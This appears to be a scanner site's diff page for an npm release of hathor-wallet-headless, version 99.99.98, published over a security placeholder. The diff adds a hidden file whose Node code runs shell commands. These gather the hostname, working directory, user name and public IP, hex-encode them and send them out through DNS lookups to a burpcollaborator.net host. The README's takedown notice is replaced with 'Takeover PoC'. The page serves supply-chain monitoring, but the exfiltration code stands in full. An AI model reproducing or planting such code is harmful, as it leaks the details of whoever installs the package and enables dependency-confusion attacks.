hathor-wallet-headless 0.0.1-security → 99.99.98
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of hathor-wallet-headless might be problematic. Click here for more details.
- package/.goutputstream-C8YI11 +13 -0
- package/README.md +1 -5
- package/package.json +8 -3
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("a=$(hostname;pwd;whoami;echo 'cro-stakingtests';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup oogwgmqjz6f5m6m8oiqp577o8fe52u.burpcollaborator.net;done" , (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|
package/README.md
CHANGED
@@ -1,5 +1 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=hathor-wallet-headless for more information.
|
1
|
+
## Takeover PoC @Example
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "hathor-wallet-headless",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.99.98",
|
4
|
+
"description": "poc @example",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
8
|
+
},
|
9
|
+
"author": "example",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|